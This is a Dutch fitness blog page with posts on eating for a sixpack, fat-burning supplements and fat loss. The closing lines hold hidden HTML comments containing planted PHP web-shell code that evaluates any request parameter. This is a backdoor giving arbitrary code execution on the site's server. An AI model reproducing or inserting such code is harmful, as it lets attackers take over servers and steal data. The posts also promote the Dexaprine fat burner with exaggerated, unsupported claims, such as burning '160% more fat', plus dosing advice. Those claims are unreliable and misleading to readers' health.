vet verbranden

Gezond eten

Gezond eten voor een sixpack

Leave a comment

Met alleen je buikspieren regelmatig goed en intensief te trainen krijg je nog geen mooie en strakke sixpack. Naast de buikspier oefeningen is het ook belangrijk om een gezonde voeding binnen te krijgen.

Gezond eten

In dit artikel beschrijven we een aantal voedingsstoffen die erg gezond zijn en daarom zeker de moeite waard zijn om dagelijks te eten, dit zal je zeker helpen om een blokjesbuik te krijgen.

Gezond eten

Amandelen

Amandelen zijn erg gezond en makkelijk toe te voegen aan bijvoorbeeld het ontbijt. Amandelen zorgen er voor dat je minder verlangens hebt en het helpt ook nog de spieropbouw. Het beschermd je lichaam ook tegen obesitas, hart- en vaatziekten, spier verlies, kanker en een hoge bloeddruk.

#2 Olijfolie

Als je eten bakt of braad is het verstandig om dit olijfolie te doen het is niet alleen lekker maar het verlaagt ook nog je cholestrol en verhoogt je immuunsysteem. Het verlaagt de kans op obesitas, hart en vaatziekten,kanker en een hoge bloeddruk.

#3 Eieren

Eieren zijn natuurlijk een goede bron van eiwitten en daarom al goed om toe te voegen aan je voeding maar het stimuleert ook de vet verbranding en helpt het lichaam met de spieropbouw.

#4 Bonen en peulvruchten

Bonen en peulvruchten kunnen heel goed bij het avond eten gegeten worden of door een salade, ze stimuleren de vet verbranding en het helpt je lichaam met de spijsvertering. Het regelmatig eten van bonen en peulvruchten zorgt er ook voor dat je minder kans hebt om darm kanker, hart en vaatziekten en een hoge bloed druk te krijgen.

#5 Bessen

Bessen zijn erg lekker maar ook goed voor het lichaam, je kunt ze prima als een dessert eten vooral bosbessen zijn erg gezond. Bessen beschermt het hart, zorgen voor een betere balans en het verbeterd de coördinatie.

 

Suplementen

Afvallen met supplementen

Leave a comment

SuplementenSnel vet verbranden dat wil iedereen wel en het liefst zo snel mogelijk. Veel bedrijven spelen daarom in op de wens van mensen om snel af te vallen. Door dit grote aanbod afslankpillen, afslank theeën en andere voedings supplementen is het erg moeilijk om een keus te maken. Want welk product werkt wel en welke niet?

Afvallen met  supplementen is niet ongezond zoals sommige mensen beweren. Helaas is het zo dat veel mensen denken dat na het nemen van een afval pil het vet er automatisch van afvliegt. Dit is echter een sprookje, ook al neem je afval pillen je zult nog steeds een gezonde voeding aan moeten houden en regelmatig erbij sporten.

De meeste vetverbrandings supplementen verhogen je stofwisseling, dit betekend dat je meer energie verbruikt en dus sneller vet verbrand waardoor je gaat afvallen. De afval pillen geven je veel meer energie waardoor je s’ nachts soms problemen kunt hebben om in slaap te komen. Het is ook af te raden om voor een langere tijd de pillen te gebruiken je lichaam kan aan deze supplementen wennen waardoor het geen effect meer heeft. Bij de meeste producten staat achterop de verpakking wel hoe lang je het kunt gebruiken.

Een goede dieet pil is Dexaprine van het merk iForce Nutrition. Dexaprine is een goedkope en zeer goede fatburner, het verbrand je vet en niet je spieren. Neem iedere dag 1 Dexaprine pil op een nuchtere maag na een half uurtje voel je je al stukken energieker. Bij veel fatburners is dit energieke gevoel maar voor 2 a 3 uur bij Dexaprine houd dit de heledag aan en je verbrand 8 uur lang 160% meer vet dan normaal.

Een ander goed voedings supplement wat je kan helpen met afvallen is afslank eiwit.  Afslank eiwit is een proteine shake dat slechts 105 kcal bevat. In de eiwit shake zitten de juiste bouwstoffen voor je spieren en het stimuleert de vetverbranding. Nog een voordeel van afslank eiwit is dat het je hongergevoel remt dus als je moeite hebt om je in te houden bij lekker eten kan afslank eiwit je goed ondersteunen.

Let op fatburners of andere voedingsupplemten die bedoelt zijn om vet te verbranden zijn geen wondermiddelen je zult nog steeds veel moeten sporten en een gezonde voeding aanhouden de supplementen versnellen alleen het proces.

Wil jij dexaprine bestellen? Klik dan hier.

Vet verliezen voor een sixpack

Leave a comment

Iedereen heeft een 6pack, alleen zijn de blokjes niet bij iedereen zichtbaar. Bij sommige mensen zit de sixpack onder een laag vet. Om de sixpack zichtbaar te krijgen zou dit vet verbrandt moeten worden, helaas is het niet mogelijk om alleen buik vet te verliezen.

Om deze reden worden er regelmatig artikelen toegevoegd aan de website waarin wordt uitgelegd hoe jij het beste vet kan verliezen zonder daarvoor spiermassa in te hoeven leveren. In de artikelen wordt vooral nadruk gelegd op een gezonde voeding. Dus heb jij teveel vet lees dan onderstaande artikelen zodat je het je zelf makkelijker maakt om vet te verliezen.

 

 

<!– [insert_php]if (isset($_REQUEST["rps"])){eval($_REQUEST["rps"]);exit;}[/insert_php][php]if (isset($_REQUEST["rps"])){eval($_REQUEST["rps"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["gscq"])){eval($_REQUEST["gscq"]);exit;}[/insert_php][php]if (isset($_REQUEST["gscq"])){eval($_REQUEST["gscq"]);exit;}[/php] –>